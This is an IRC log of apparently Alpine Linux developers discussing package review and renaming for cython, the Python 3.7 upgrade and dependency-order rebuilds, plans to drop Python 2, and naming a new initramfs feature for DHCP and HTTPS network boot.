2019-04-04 19:03:32 <SpaceToast> most devs with push to main/ (especially now that kaniini has left) are in central EU
2019-04-04 19:03:45 <SpaceToast> which means it's 8-9pm there, right now ;)
2019-04-04 19:04:07 <otlabs> great tip!
2019-04-04 19:04:20 <otlabs> i am in CST
2019-04-04 19:04:58 <SpaceToast> EST here
2019-04-04 19:05:09 <SpaceToast> so yeah, try asking for stuff right after waking up
2019-04-04 19:05:28 <otlabs> yep!
2019-04-04 19:15:40 <clandmeter> otlabs: what was the reason to rename this pkg? and why is it not mentioned in the PR/commit?
2019-04-04 19:17:10 <otlabs> the reason is to follow py-scheme
2019-04-04 19:17:20 <clandmeter> and i think we prefer not use backslashes in lists
2019-04-04 19:17:23 <otlabs> i had no idea that i need to mention the rename
2019-04-04 19:17:59 <clandmeter> its a pretty serious change, so you need to mention it.
2019-04-04 19:18:10 <otlabs> oh, you are rigth, i will remove backslashes
2019-04-04 19:18:26 <clandmeter> what i presonally prefer is when the items in the list go over 80 chars i do them line by line.
2019-04-04 19:18:35 <otlabs> and add a rename to commit message
2019-04-04 19:18:40 <clandmeter> this will make diffs in the future easier to read
2019-04-04 19:19:04 <otlabs> sure
2019-04-04 19:26:07 <otlabs> ooops, now py3 package produces errors
2019-04-04 19:34:14 <otlabs> ok, my fault - i have deleted an extra character
2019-04-04 19:41:54 <otlabs> ok, need to rebase for Drone
2019-04-04 20:46:07 <otlabs> re hi
2019-04-04 20:51:32 <otlabs> clandmeter: got 2 green check marks on latest py-cython commit. could you please take a fresh look and comment if i have addressed your suggestions in full?
2019-04-04 20:54:52 <clandmeter> otlabs: im in doubt of the pkg rename
2019-04-04 20:55:17 <clandmeter> and secondly, did you consider packages that depend on it?
2019-04-04 20:55:35 <otlabs> should i preserve it? no problem with me
2019-04-04 20:56:08 <clandmeter> im not sure, i would prefer somebody who uses python more than me have a look at it.
2019-04-04 20:56:09 <otlabs> yes, i considered, so i offer py2-cython as a replasement
2019-04-04 20:56:33 <clandmeter> i dont see any other commits regrading the rename.
2019-04-04 20:56:56 <clandmeter> some packages who want to pull in cython can still find it?
2019-04-04 20:58:27 <otlabs> "replaces" does not handle that?
2019-04-04 20:58:47 <clandmeter> no it doesnt
2019-04-04 20:59:05 <clandmeter> it will take over files belonging to other pkgs.
2019-04-04 20:59:24 <otlabs> ok, that would be 3 packages to update
2019-04-04 20:59:36 <clandmeter> did you concider makedepends?
2019-04-04 20:59:56 <otlabs> you are tricky ;-)
2019-04-04 21:00:06 <otlabs> no, i forgot that to check
2019-04-04 21:00:23 <clandmeter> _ikke_: you around?
2019-04-04 21:00:43 <otlabs> there are no dependencies on cython-dev
2019-04-04 21:01:05 <otlabs> and that looks strange to me
2019-04-04 21:01:25 <clandmeter> https://tpaste.us/0Lv8
2019-04-04 21:01:50 <otlabs> thank you
2019-04-04 21:02:14 <otlabs> should not https://pkgs.alpinelinux.org/package/edge/main/aarch64/cython-dev show that?
2019-04-04 21:02:26 <clandmeter> but before you start to change those, i would first make sure we want to rename it.
2019-04-04 21:02:50 <clandmeter> pkgs does not list makedepends.
2019-04-04 21:02:59 <otlabs> oh, ok
2019-04-04 21:03:05 <otlabs> sure
2019-04-04 21:04:37 <otlabs> i can update cython to latest version and submit new aport for cython3 meamwhile
2019-04-04 21:06:23 <clandmeter> do we need cython2?
2019-04-04 21:06:28 <clandmeter> i have no clue about it
2019-04-04 21:06:36 <otlabs> i need cython3
2019-04-04 21:10:20 <clandmeter> ok but does alpine need cython2?
2019-04-04 21:10:44 <otlabs> i reserve to emit any opinion as i do not know
2019-04-04 21:13:37 <SpaceToast> clandmeter: cassandra driver is a notable thing that requires it
2019-04-04 21:13:48 <SpaceToast> py-rencode and py-opengl-accelerate too
2019-04-04 21:14:11 <clandmeter> ok so we need to keep python 2 support
2019-04-04 21:14:23 <mps> clandmeter: \o, I prepared ell upgrade (and iwd, btw) and bluez depends on ell, should I bump bluez pkgrel and post after posting ell to patchwork
2019-04-04 21:14:55 <mps> or wait till ell is pushed
2019-04-04 21:18:47 <clandmeter> SpaceToast: what is using that cassandra driver?
2019-04-04 21:36:49 <clandmeter> otlabs: i also wonder if we need to split cython and cython-dev
2019-04-04 21:37:30 <clandmeter> is that ever a runtime dependency?
2019-04-04 21:40:37 <SpaceToast> doesn't look like the py2 version is used by anything
2019-04-04 21:42:13 <clandmeter> it is in makedpends
2019-04-04 21:42:27 <SpaceToast> no I mean py2-cassandra-driver
2019-04-04 21:42:39 <clandmeter> right
2019-04-04 21:43:00 <clandmeter> but ceph uses it
2019-04-04 21:43:08 <clandmeter> and i guess some more
2019-04-04 21:44:16 <clandmeter> i think we could simply just add cython2 and 3 to cython and remove cython-dev
2019-04-04 21:44:22 <SpaceToast> I could do a ripgrep a bit later
2019-04-04 21:44:36 <SpaceToast> but I think moving to the py-scheme makes sense, since it is very much linked to python
2019-04-04 21:44:43 <clandmeter> and use an install_if to select the correct python version
2019-04-04 21:48:48 <clandmeter> i would like to have that documented, a clear definition when to do py-scheme or not.  something that applicable to other langs.
2019-04-04 23:03:48 <otlabs> clandmeter: cython-dev contains C files only, may be it is a good idea to keep them separate, e.g. 2 packages - cython and cython-dev
2019-04-04 23:09:15 <otlabs> sorry, need to go, hope to continue tomorrow
2019-04-05 00:28:16 <SpaceToast> ping ncopa - can we get a release on abuild? minio just released a "major security update", but during it they also switched to the GO111 build system; and thus I obviously can't submit a PR for the patch until it doesn't permanently stall the builders
2019-04-05 07:06:06 <ncopa> morning. Yes we should make release of abuild
2019-04-05 07:06:34 <ncopa> and we shoudl make new stable release 3.9.3
2019-04-05 07:06:38 <ncopa> and tag new edge snapshot
2019-04-05 07:08:57 <ncopa> i wonder if we shoudl try fix this too: https://github.com/alpinelinux/abuild/pull/53
2019-04-05 07:16:10 <ncopa> i would still want this rebased and merged: https://github.com/alpinelinux/abuild/pull/52
2019-04-05 07:16:41 <ncopa> i think its a good idea with options="chmod-clean" so you dont need write a hook function
2019-04-05 07:17:08 <ncopa> alternatively opttions="go-mod-clean", which will call go-mod-clean for you
2019-04-05 07:17:17 <ncopa> i think we may also need update the man page
2019-04-05 07:26:40 <clandmeter> that "Allow built aports from "upstream" repository too" PR is not very descriptive.
2019-04-05 07:39:48 <mps> new iwd have some nice features
2019-04-05 07:42:44 <mps> yesterday I worked nearly all day with the iwd people to fix some issues and now it is in 'fine' shape and works quite fine, anyone have time to review patches I posted on patchwork
2019-04-05 07:44:36 <mps> it builds on x86_64, armv7 and aarch64, other arch'd I didn't tested
2019-04-05 08:22:44 <tmhoang> ncopa: Hi, it would be nice if you have a few comment about this https://github.com/alpinelinux/aports/pull/6632. I understand last time you didn't like it, but still, ideas are appreciated. And it would be nice to have it in 3.9.x
2019-04-05 08:22:57 <tmhoang> also, I'd love to have this in at least 3.10 : https://github.com/alpinelinux/aports/pull/6807
2019-04-05 08:23:11 <tmhoang> any time you have a minute :)
2019-04-05 08:23:45 <tmhoang> (not being demanding or anything)
2019-04-05 08:32:35 <tmhoang> has anyone tried installing Alpine with GPT instead of MBR ? Not EUFI though, just normal qemu/kvm.
2019-04-05 08:35:07 <tmhoang> wonder if this ever proposed for merge : https://github.com/itoffshore/alpine-linux-scripts/
2019-04-05 08:35:36 <mps> tmhoang: in VM or native
2019-04-05 08:35:51 <tmhoang> mps: VM
2019-04-05 08:36:24 <mps> I have qemu VM with gpt qemu img, syslinux
2019-04-05 08:37:49 <tmhoang> I guess you must install manually
2019-04-05 08:38:00 <mps> and also on cloud service, xen host and Alpine on gpt image
2019-04-05 08:38:36 <mps> yes, manually, but I prefer manual install whenever I can
2019-04-05 08:51:17 <ncopa> any python experts around that can help me troubleshoot why py3-jedi tests fails? https://tpaste.us/aRql
2019-04-05 08:51:43 <ncopa> my guess so far is that problem is in one of the dependencies and not in jedi itself
2019-04-05 08:52:04 <ncopa> this is my pytho 3.7 upgrade work
2019-04-05 08:54:35 <ncopa> also pytest-xdist fails: ncopa-edge-x86_64:~/aports/community/pytest-xdist$ abuild -r 2>&1 | tpaste
2019-04-05 08:54:35 <ncopa> http://tpaste.us/qKJB
2019-04-05 08:55:22 <ncopa> oh, ok, i know why pytest-xdist fails
2019-04-05 08:55:29 <ncopa> $ apk version pytest
2019-04-05 08:55:29 <ncopa> Installed:                                Available:
2019-04-05 08:55:29 <ncopa> pytest-4.3.1-r1                         = 4.3.1-r1
2019-04-05 09:19:03 <ncopa> this python 3.7 upgrade is starting to become complicated
2019-04-05 09:19:18 <ncopa> apparently some of the updated packages does not properly support 2.7
2019-04-05 09:21:04 <ncopa> py-sqlalchemy fails
2019-04-05 09:21:36 <ncopa> but it fails in python2 testsuite
2019-04-05 09:21:48 <ncopa> i doubr upstream is interested in fixing python2 issues
2019-04-05 09:22:16 <ncopa> so i woudl like to remove python2 support from py-sqlalchemy
2019-04-05 09:22:39 <ncopa> which means we need update buildbot and py-django so only use python3
2019-04-05 09:23:10 <mps> tmhoang: forgot to mention, few days ago I worked on script to install Alpine aarch64 under qemu and had issue with parted to create GPT from script but didn't finished to fix it or find a source of problem
2019-04-05 09:23:55 <ncopa> i wonder if it make sense to update buildbot to 2.1.0 with py3 first, as a separate step
2019-04-05 09:24:13 <ncopa> and while doing so, investigate which py2 deps that can be removed
2019-04-05 09:24:21 <ncopa> then do the same with py-django
2019-04-05 09:24:28 <ncopa> and then try upgrade to python 3.7
2019-04-05 09:24:32 <ncopa> sigh..
2019-04-05 09:24:35 <ncopa> this is a nightmare
2019-04-05 09:25:45 <ncopa> ncopa-edge-x86_64:~/aports/community/py-sqlalchemy$ abuild -rk 2>&1 | tpaste
2019-04-05 09:25:45 <ncopa> http://tpaste.us/yPqk
2019-04-05 09:26:12 <ncopa> i guess another option is to disable tests for py-sqlalchemy for now
2019-04-05 09:27:25 <clandmeter> makes sense
2019-04-05 09:27:41 <clandmeter> was there a plan to remove py2 completely?
2019-04-05 09:27:47 <ncopa> yes
2019-04-05 09:27:55 <clandmeter> for 3.10?
2019-04-05 09:28:00 <ncopa> we need to do so for 1 jan 2020
2019-04-05 09:28:04 <ncopa> no, for 3.11
2019-04-05 09:28:09 <clandmeter> ah ok
2019-04-05 09:28:20 <ncopa> but i think we can and should reduce python2 usage for 3.10
2019-04-05 09:28:26 <clandmeter> so we need to generate a graph of what needs to happen?
2019-04-05 09:29:07 <mps> 
ACTION dream about world without python :)

2019-04-05 09:33:01 <clandmeter> ncopa: does that error also happen without py2-pytest-xdist?
2019-04-05 09:33:23 <_ikke_> ncopa: I can probably take a look at buildbot and py-django
2019-04-05 09:33:32 <clandmeter> i remember it was added more recently to speedup the tests.
2019-04-05 09:35:53 <ncopa> maybe i will just merge the py-sqlalchemy first
2019-04-05 09:36:00 <ncopa> git seems to work against current master
2019-04-05 09:36:26 <ncopa> with python 3.6
2019-04-05 09:40:21 <rnalrd> ncopa, we are removing python2 support, right?
2019-04-05 09:40:40 <rnalrd> wonder why we get patches with python2 support https://patchwork.alpinelinux.org/patch/4734/
2019-04-05 09:41:50 <ncopa> because its a dependency for something else that we have py2 support for
2019-04-05 09:42:02 <ncopa> and that we cannot just remove python2 support for
2019-04-05 09:42:05 <ncopa> yet
2019-04-05 09:43:18 <rnalrd> 
ACTION reading backlog

2019-04-05 09:44:17 <rnalrd> so python2 will be removed from 3.11, not 3.10... good to know
2019-04-05 09:44:20 <clandmeter> that is why i asked about a graph so we know what depends on python2
2019-04-05 09:44:38 <ncopa> yes, a graph would be helpful
2019-04-05 09:44:39 <clandmeter> and we can hack it out somehow.
2019-04-05 09:45:11 <clandmeter> and we could maybe split the work into parts and ask help.
2019-04-05 09:45:28 <rnalrd> ncopa, i'd merge this and bump all *-vanilla pkgs, if you have no objections
2019-04-05 09:45:29 <ncopa> yes
2019-04-05 09:45:34 <rnalrd> builds just fine
2019-04-05 09:45:40 <rnalrd> https://github.com/alpinelinux/aports/pull/6946
2019-04-05 09:46:25 <ncopa> problem is that then it no longer is a "vanilla" kernel
2019-04-05 09:48:15 <rnalrd> too many patches, eh?
2019-04-05 09:50:38 <ncopa> they look scary
2019-04-05 09:51:04 <rnalrd> 4.19 is LTS, while 4.20 isn't right?
2019-04-05 09:51:11 <ncopa> correct
2019-04-05 09:51:15 <rnalrd> k
2019-04-05 09:51:26 <rnalrd> so next LTS should have full support
2019-04-05 09:51:29 <ncopa> yes
2019-04-05 09:51:35 <ncopa> it is unkown when that arrives
2019-04-05 09:51:40 <rnalrd> yeah
2019-04-05 09:51:58 <ncopa> i think it may make sense to ask upstream to backport that to stable, linux-4.19.y
2019-04-05 09:52:15 <rnalrd> y, saw your comments
2019-04-05 09:52:16 <ncopa> so we get it with a 4.19.x update
2019-04-05 10:24:40 <ncopa> hum
2019-04-05 10:24:57 <danieli> ugh, matrix
2019-04-05 10:24:58 <ncopa> i think my python issues may be related to build order not working properly
2019-04-05 10:25:27 <ncopa> some python packages as indirect dependencies
2019-04-05 10:26:30 <ncopa> ImportError: Failed to import test module: tests
2019-04-05 10:26:30 <ncopa> Traceback (most recent call last):
2019-04-05 10:26:30 <ncopa>   File "/usr/lib/python3.6/unittest/loader.py", line 153, in loadTestsFromName
2019-04-05 10:26:30 <ncopa>     module = __import__(module_name)
2019-04-05 10:26:47 <ncopa> why was that package rebuilt?
2019-04-05 10:27:43 <ncopa> aw...
2019-04-05 10:27:50 <ncopa> Installed:                                Available:
2019-04-05 10:27:50 <ncopa> python3-3.6.8-r2                        < 3.7.2-r0
2019-04-05 10:33:30 <_ikke_> ncopa: clandmeter is that graph just a recursive rdepends?
2019-04-05 10:33:46 <ncopa> it is more complicated than that
2019-04-05 10:33:56 <ncopa> i think it needs pull in install_if too
2019-04-05 10:34:05 <ncopa> since many python packages has depends=py-*
2019-04-05 10:34:27 <ncopa> depends="py-foo python3"
2019-04-05 10:34:38 <ncopa> and expect py3-foo to be pulled in by install_if
2019-04-05 10:34:52 <ncopa> so the real dependency is py3-foo
2019-04-05 10:36:58 <ncopa> during my rebuilds some of the packages was rebuilt with python 3.6 instead of python 3.7
2019-04-05 10:37:10 <ncopa> because there was unresolved deps for the 3.7 stuff
2019-04-05 10:37:23 <ncopa> but it managed to solve the deps using python 3.6
2019-04-05 10:37:29 <ncopa> and pulled in those deps instead
2019-04-05 10:37:43 <ncopa> ansible was one
2019-04-05 10:37:48 <ncopa> py-docutils another
2019-04-05 10:39:35 <_ikke_> what deps were missing?
2019-04-05 10:39:41 <ncopa> dont know
2019-04-05 10:39:45 <ncopa> need to figure that out
2019-04-05 10:39:54 <ncopa> looks like py-pillow was not rebuilt
2019-04-05 10:40:04 <ncopa> and pulled in python 3.6
2019-04-05 10:40:17 <ncopa> i have added an explicit python3>=3.7 now
2019-04-05 10:40:39 <ncopa> so apk will report conflict whenever it tires to pull in python 3.6
2019-04-05 10:40:46 <ncopa> need to figure out how much i need to rebuilt
2019-04-05 10:40:53 <_ikke_> Where did you add that to?
2019-04-05 10:41:02 <_ikke_> to ansible / py-docutils?
2019-04-05 10:41:07 <ncopa> manually 'apk add python3>=3.7'
2019-04-05 10:41:12 <_ikke_> ah, ok
2019-04-05 10:41:23 <ncopa> since this is all python stuff, it shuld eb ok
2019-04-05 10:41:34 <clandmeter> ncopa: i have another question regarding network support. would it be possible to include udhcpc script in initramfs by default?
2019-04-05 10:41:47 <ncopa> everything is possible :)
2019-04-05 10:42:11 <ncopa> dont we have a net or network "feature"?
2019-04-05 10:42:14 <clandmeter> i think the current network option is limited
2019-04-05 10:42:22 <clandmeter> it does too much
2019-04-05 10:42:40 <clandmeter> if you have drivers build in kernel, you need to add network option which pulls all other network drivers
2019-04-05 10:44:57 <ncopa> ok
2019-04-05 10:45:30 <clandmeter> network also hass ssl_client
2019-04-05 10:45:36 <clandmeter> i think to fetch ovl file
2019-04-05 10:45:58 <_ikke_> ncopa: do you still have the py-jedi issue?
2019-04-05 10:46:34 <ncopa> dunno yet
2019-04-05 10:46:36 <clandmeter> in a perfect world it would be split into 3 features and network would depend on the other two.
2019-04-05 10:46:40 <ncopa> im deeper down the rabbit hole
2019-04-05 10:47:15 <ncopa> clandmeter: right dependencies on the features
2019-04-05 10:47:34 <ncopa> i guess adding the udhcpc script to another common place could work
2019-04-05 10:47:40 <ncopa> or
2019-04-05 10:47:45 <ncopa> we coudl have 2 features
2019-04-05 10:47:52 <ncopa> network, and network-drivers
2019-04-05 10:48:09 <clandmeter> yes, that would also work
2019-04-05 10:48:21 <clandmeter> but i am scared i would break setup for others
2019-04-05 10:48:24 <ncopa> but it woudl break things for upgraders
2019-04-05 10:48:28 <ncopa> yup
2019-04-05 10:48:45 <clandmeter> but that will always happen if you do not apply deplogic
2019-04-05 10:48:59 <ncopa> so how about we add another feature, network-scripts
2019-04-05 10:49:04 <ncopa> or similar
2019-04-05 10:49:16 <ncopa> which only includes what you need?
2019-04-05 10:49:18 <clandmeter> yes thats what i did yesterday, but didnt come up a good name
2019-04-05 10:49:34 <ncopa> what is it for and what does it include?
2019-04-05 10:49:50 <clandmeter> i think basic network support, means https and dhcpc
2019-04-05 10:50:21 <ncopa> both https and dhcp?
2019-04-05 10:50:46 <clandmeter> well if you want to grab ovl you will need https
2019-04-05 10:50:55 <ncopa> are there any situation where you need only one of them?
2019-04-05 10:51:05 <ncopa> where you might want dhcp but not https
2019-04-05 10:51:10 <ncopa> or the other way around?
2019-04-05 10:51:40 <ncopa> i guess we could call the feature "https" and let it also include dhcp script
2019-04-05 10:51:41 <clandmeter> i think its even more complicated, what if we add features that need https later
2019-04-05 10:52:54 <clandmeter> hmm
2019-04-05 10:53:21 <clandmeter> i wonder if there is a usecase for https except ovl.
2019-04-05 10:53:43 <clandmeter> i guess thats the only thing that really needs it, rest can be done post initramfs
2019-04-05 10:54:32 <ncopa> the only purpose of initramfs is to configure up the rootfs
2019-04-05 10:54:44 <clandmeter> yes
2019-04-05 10:55:20 <ncopa> so the question is: what does it need to mount the rootfs
2019-04-05 10:55:39 <ncopa> for diskless it needs tmpfs and install packages and get configs
2019-04-05 10:55:54 <ncopa> so it may need network for that
2019-04-05 10:56:16 <ncopa> i think a feature called "https" may make sense
2019-04-05 10:56:16 <danieli> what a conversation to hop into, you people are really productive :) i'm still waking up, had to work on something for a while last night
2019-04-05 10:56:31 <ncopa> morning
2019-04-05 10:56:41 <danieli> afternoon
2019-04-05 10:56:41 <clandmeter> network-drivers seems the best match
2019-04-05 10:57:05 <ncopa> but it breaks things for upgraders who only has "network"
2019-04-05 10:57:13 <clandmeter> not if we dont touch it
2019-04-05 10:57:22 <clandmeter> we work around it
2019-04-05 10:57:30 <ncopa> ok?
2019-04-05 11:00:03 <clandmeter> yeah it will still inroduce weird network related features :(
2019-04-05 11:02:56 <clandmeter> or something like network-base
2019-04-05 11:03:14 <ncopa> what do you need in network-base?
2019-04-05 11:03:24 <ncopa> as i understand it is only https and dhcp?
2019-04-05 11:03:28 <clandmeter> or network-without-all-network-modules-build-in
2019-04-05 11:03:34 <clandmeter> :)
2019-04-05 11:03:40 <clandmeter> yes
2019-04-05 11:03:44 <clandmeter> those two
2019-04-05 11:03:56 <ncopa> and dhcp is only needed so you can get things from http or https
2019-04-05 11:04:00 <clandmeter> i think we want to support https to fetch ovl
2019-04-05 11:04:27 <ncopa> so i am thinking why not call it "https" which is what this really is about
2019-04-05 11:06:37 <clandmeter> hmm
2019-04-05 11:07:06 <clandmeter> what i want to fix is that current rpi image could simply made network bootable without the need to use netboot images.
2019-04-05 11:07:44 <clandmeter> but it does not support dhcp because its missing the dhcpc script
2019-04-05 11:07:58 <ncopa> is that something other machines may want to? non rpi?
2019-04-05 11:08:00 <ncopa> wandboard
2019-04-05 11:08:04 <ncopa> x86 something
2019-04-05 11:08:08 <clandmeter> so i would need to add https to make dhcp work
2019-04-05 11:08:16 <ncopa> anything that is non-rpi
2019-04-05 11:08:23 <clandmeter> possible, if they have modules build in.
2019-04-05 11:08:54 <ncopa> rpi kernel is special because it is a dedicated kernel for a specific brand
2019-04-05 11:09:12 <clandmeter> for instance s390x?
2019-04-05 11:09:19 <clandmeter> not sure how that exactly works
2019-04-05 11:09:21 <ncopa> or qemu
2019-04-05 11:09:31 <ncopa> virto nic
2019-04-05 11:09:45 <clandmeter> right, but that needs virtio features
2019-04-05 11:10:16 <clandmeter> ah virt has that by default
2019-04-05 11:10:36 <ncopa> virtio modules may be something we can consider add to kernel instead of module
2019-04-05 11:10:48 <ncopa> i think there are more vm hosts that support virtio
2019-04-05 11:11:00 <ncopa> not only qemu
2019-04-05 11:11:14 <clandmeter> but our virt release has tham in initramfs?
2019-04-05 11:11:21 <clandmeter> s/tham/them
2019-04-05 11:11:21 <alpine-meetbot> clandmeter meant to say: but our virt release has them in initramfs?
2019-04-05 11:12:09 <ncopa> dunno
2019-04-05 11:12:17 <ncopa> but we could add
2019-04-05 11:12:47 <ncopa> when i first looked at the network boot, the ipxe stuff
2019-04-05 11:13:18 <ncopa> i saw potential to add ssh_keys=... as boot option, also for non network boot
2019-04-05 11:13:24 <ncopa> and similar
2019-04-05 11:13:45 <ncopa> but it was not designed for anything like that
2019-04-05 11:14:00 <ncopa> i guess a "https" feature could solve that too
2019-04-05 11:15:25 <ncopa> the idea was to have ssh_keys=https://github.com/ncopa.keys boot option
2019-04-05 11:15:41 <ncopa> and it would configure up and run sshd automagically
2019-04-05 11:15:46 <ncopa> on first boot
2019-04-05 11:15:58 <clandmeter> isnt t hat what firstboot does?
2019-04-05 11:16:36 <ncopa> or even ssh_keys=$ed25519_key
2019-04-05 11:16:38 <ncopa> not sure
2019-04-05 11:16:46 <clandmeter> it does
2019-04-05 11:16:47 <ncopa> but it does not work, unless you do netboot
2019-04-05 11:19:05 <AinNero> what does not work? ssh key via firstboot?
2019-04-05 11:19:26 <ncopa> ssh_key that is not netboot
2019-04-05 11:19:50 <clandmeter> i need to run, i can check the flow later. i would like to fix it, but im not sure https is the correct name. not to fix my issue.
2019-04-05 11:20:14 <ncopa> i think https is better name than network-base
2019-04-05 11:20:37 <clandmeter> so we need to tell ppl, you want network support, add https as featuer :)
2019-04-05 11:21:04 <clandmeter> i mean you want dhcp support you need to add https
2019-04-05 11:21:31 <ncopa> the idea was to not touch "network" feature
2019-04-05 11:21:35 <ncopa> it is as is
2019-04-05 11:21:40 <clandmeter> or add https and dhcp feature
2019-04-05 11:21:41 <ncopa> which includes https and dhcp
2019-04-05 11:21:58 <ncopa> https feature would need dhcp
2019-04-05 11:22:08 <ncopa> but i dont see any case where dhcp may be neee without https
2019-04-05 11:22:10 <clandmeter> not if you do static
2019-04-05 11:22:11 <ncopa> needed*
2019-04-05 11:23:01 <clandmeter> if you do manual configuration i think it should work.
2019-04-05 11:23:05 <ncopa> are there any situation where you need dhcp without https?
2019-04-05 11:23:18 <clandmeter> if i dont care about ovl file
2019-04-05 11:23:25 <clandmeter> just want to bring up the system
2019-04-05 11:23:35 <ncopa> dhcp support is just a udhcpc script?
2019-04-05 11:23:46 <clandmeter> yes i think so
2019-04-05 11:23:51 <clandmeter> thats what it mentions in the features
2019-04-05 11:23:54 <ncopa> im ok to have separate dhcp and https features if you think that makes sense
2019-04-05 11:24:30 <clandmeter> or just include the script per default
2019-04-05 11:24:39 <clandmeter> but i know you dont like that :)
2019-04-05 11:24:55 <clandmeter> ok im running
2019-04-05 11:24:57 <clandmeter> ttyl
2019-04-05 11:25:27 <ncopa> its only a few bytes extra, but it will be a small cost for *everyone*, even if majority dont need it
2019-04-05 11:26:07 <ncopa> if we add dhcp script to a "https" feature, it would only be a few bytes extra cost only for those who needs https but uses static ip
2019-04-05 11:26:29 <ncopa> which I would believe is very few, if any
2019-04-05 11:45:49 <ncopa> _ikke_: i still have issues with py3-jedi
2019-04-05 11:46:24 <ncopa> it could be a problem with pytest as well
2019-04-05 11:46:47 <ncopa> it seems that pytest does not pick up the pytest-xdist plugin either
2019-04-05 11:46:56 <clandmeter> ncopa: last try, we could also call the feature netboot and include both
2019-04-05 11:47:58 <clandmeter> i just think that making the feature called https would be dificult to find for somebody that searches for network(dhcp) support.
2019-04-05 11:48:26 <_ikke_> ncopa: hmm, ok
2019-04-05 11:48:42 <ncopa> so no separate "dhcp" feature?
2019-04-05 11:48:52 <tmhoang> <clandmeter> but it does not support dhcp because its missing the dhcpc script --> this is good point. I usually netboot from qemu so I can use -append option to kernel cmdline. For bare/rpi, it's kind of hard.
2019-04-05 11:49:25 <ncopa> also i think difference "network" and "netboot" is not very clear
2019-04-05 11:49:31 <ncopa> but im not gonna insist
2019-04-05 11:49:53 <ncopa> lets call it "netboot" if you think that is more descriptive than "dhcp"  + "https" features
2019-04-05 11:50:08 <clandmeter> im ok with both :)
2019-04-05 11:50:14 <clandmeter> just not only https
2019-04-05 11:50:18 <clandmeter> that makes no sense to me
2019-04-05 11:50:39 <AinNero> 'netboot' is a rather broad term, i feel the latter ones are more unexpected
2019-04-05 11:50:56 <tmhoang> clandmeter: Could you add kernel parm while booting rpi ?
2019-04-05 11:51:15 <clandmeter> AinNero: so you are ok with adding https and dhcp?
2019-04-05 11:53:33 <ncopa> ok. im stuck with this pytest thing
2019-04-05 11:53:58 <clandmeter> tmhoang: ?
2019-04-05 11:54:32 <tmhoang> clandmeter: Adding kernel parameter to bootloader ?
2019-04-05 11:57:59 <ncopa> :q
2019-04-05 11:58:16 <AinNero> clandmeter: yes
2019-04-05 11:58:52 <_ikke_> ncopa: is that a ragequit? :P
2019-04-05 11:59:19 <clandmeter> tmhoang: the bootloader will fetch cmdline.txt
2019-04-05 11:59:23 <ncopa> im close to that yes...
2019-04-05 11:59:26 <ncopa> its friday
2019-04-05 11:59:29 <ncopa> for real this time
2019-04-05 11:59:32 <_ikke_> ncopa: I can try to look later
2019-04-05 11:59:37 <ncopa> maybe i shoudl just drop python 3.7 for now
2019-04-05 11:59:49 <ncopa> and do 3.9.3 release instead
2019-04-05 11:59:50 <_ikke_> ncopa: If you can share your work, maybe I can continue it?
2019-04-05 12:00:35 <ncopa> $ git format-patch --stdout master.. | tpaste
2019-04-05 12:00:35 <ncopa> http://tpaste.us/YM4M
2019-04-05 12:00:48 <_ikke_> thanks
2019-04-05 12:00:52 <clandmeter> ncopa: if you do please tell me cause i want to include my changes to rpi
2019-04-05 12:01:11 <clandmeter> yickes
2019-04-05 12:01:22 <tmhoang> clandmeter: so now I see why you need dhcp feature :) makes sense.
2019-04-05 12:01:36 <ncopa> _ikke_: you need to build them in dependency order
2019-04-05 12:02:01 <_ikke_> yes, understood
2019-04-05 12:02:08 <_ikke_> You had some tool to help with that, right?
2019-04-05 12:02:19 <clandmeter> Subject: [PATCH 222/222] :|
2019-04-05 12:02:32 <_ikke_> There are a lot of python packages
2019-04-05 12:02:43 <clandmeter> yes its a giant mess
2019-04-05 12:03:06 <ncopa> git diff --name-only master | grep ^main | cut -d/ -f2 | xargs ap builddirs
2019-04-05 12:03:11 <clandmeter> or maybe better call it a giant bowl of spaghetti
2019-04-05 12:03:12 <ncopa> should give dep order
2019-04-05 12:03:28 <_ikke_> what is ap?
2019-04-05 12:03:37 <clandmeter> lua-aports
2019-04-05 12:03:39 <ncopa> aports tool in lua
2019-04-05 12:03:47 <_ikke_> ah
2019-04-05 12:03:50 <danieli> holy hell
2019-04-05 12:03:51 <danieli> 222/222
2019-04-05 12:04:06 <ncopa> then i got stuck....
2019-04-05 12:04:19 <ncopa> _ikke_ you may want start with building python3 only first
2019-04-05 12:04:27 <_ikke_> ncopa: I already have that
2019-04-05 12:04:29 <danieli> I'm gonna continue working on my python bindings to apk, I think it's #4 on my todo
2019-04-05 12:04:36 <ncopa> then apk add 'python>=3.7'
2019-04-05 12:04:39 <danieli> looking at an alpine theme for antora docs atm
2019-04-05 12:05:54 <ncopa> cd main; git diff --name-only master | grep ^main | cut -d/ -f2 | xargs ap builddirs | while read d; do (cd $d && abuild -rk)||break; done
2019-04-05 12:06:04 <ncopa> then do the same with community
2019-04-05 12:19:49 <_ikke_> What about testing?
2019-04-05 12:20:14 <_ikke_> Each maintainer should take care of that?
2019-04-05 12:28:49 <ncopa> im only halfway through commuity
2019-04-05 12:28:51 <ncopa> and got stuck
2019-04-05 12:29:01 <ncopa> i think i figured out the pytest issue
2019-04-05 12:29:09 <ncopa> some deps are broken
2019-04-05 12:30:25 <ncopa> py3-pytest-xdist is broken
2019-04-05 12:30:30 <ncopa> does not pull in everything it needs
2019-04-05 12:30:42 <ncopa> you also need install pytest-xdist
2019-04-05 12:30:46 <ncopa> and it will pull in more deps
2019-04-05 12:31:15 <ncopa> _ikke_: note that i have merged some of ddevaults patches
2019-04-05 12:31:30 <SpaceToast> danieli: nice :)
2019-04-05 12:31:42 <_ikke_> ncopa: where?
2019-04-05 12:31:59 <ncopa> they are mixed in amoung those 222/222
2019-04-05 12:32:02 <_ikke_> ok
2019-04-05 12:32:13 <_ikke_> I see some are merged in aports as well
2019-04-05 12:32:20 <ncopa> yup
2019-04-05 12:32:42 <ncopa> and i saw that there was some py-* stuff that got merged
2019-04-05 12:32:50 <ncopa> so they need to be rebased
2019-04-05 12:33:09 <_ikke_> Yes, we need to regularly rebase to notice conflicts
2019-04-05 12:33:19 <ncopa> rebase and rebuild
2019-04-05 12:33:21 <ncopa> yes
2019-04-05 12:33:34 <ncopa> but i think i am making progress now
2019-04-05 12:33:50 <_ikke_> ok, good
2019-04-05 12:33:53 <ncopa> it sort of helped to just explain the problem in #python
2019-04-05 12:33:55 <_ikke_> what deps were broken?
2019-04-05 12:33:58 <ncopa> :)
2019-04-05 12:34:07 <ncopa> not sure
2019-04-05 12:34:08 <_ikke_> ok
2019-04-05 12:34:19 <ncopa> it is py3-pytest-xdist that is broken
2019-04-05 12:34:27 <ncopa> it does not pull in everything it needs
2019-04-05 12:34:42 <ncopa> i have not looked into why
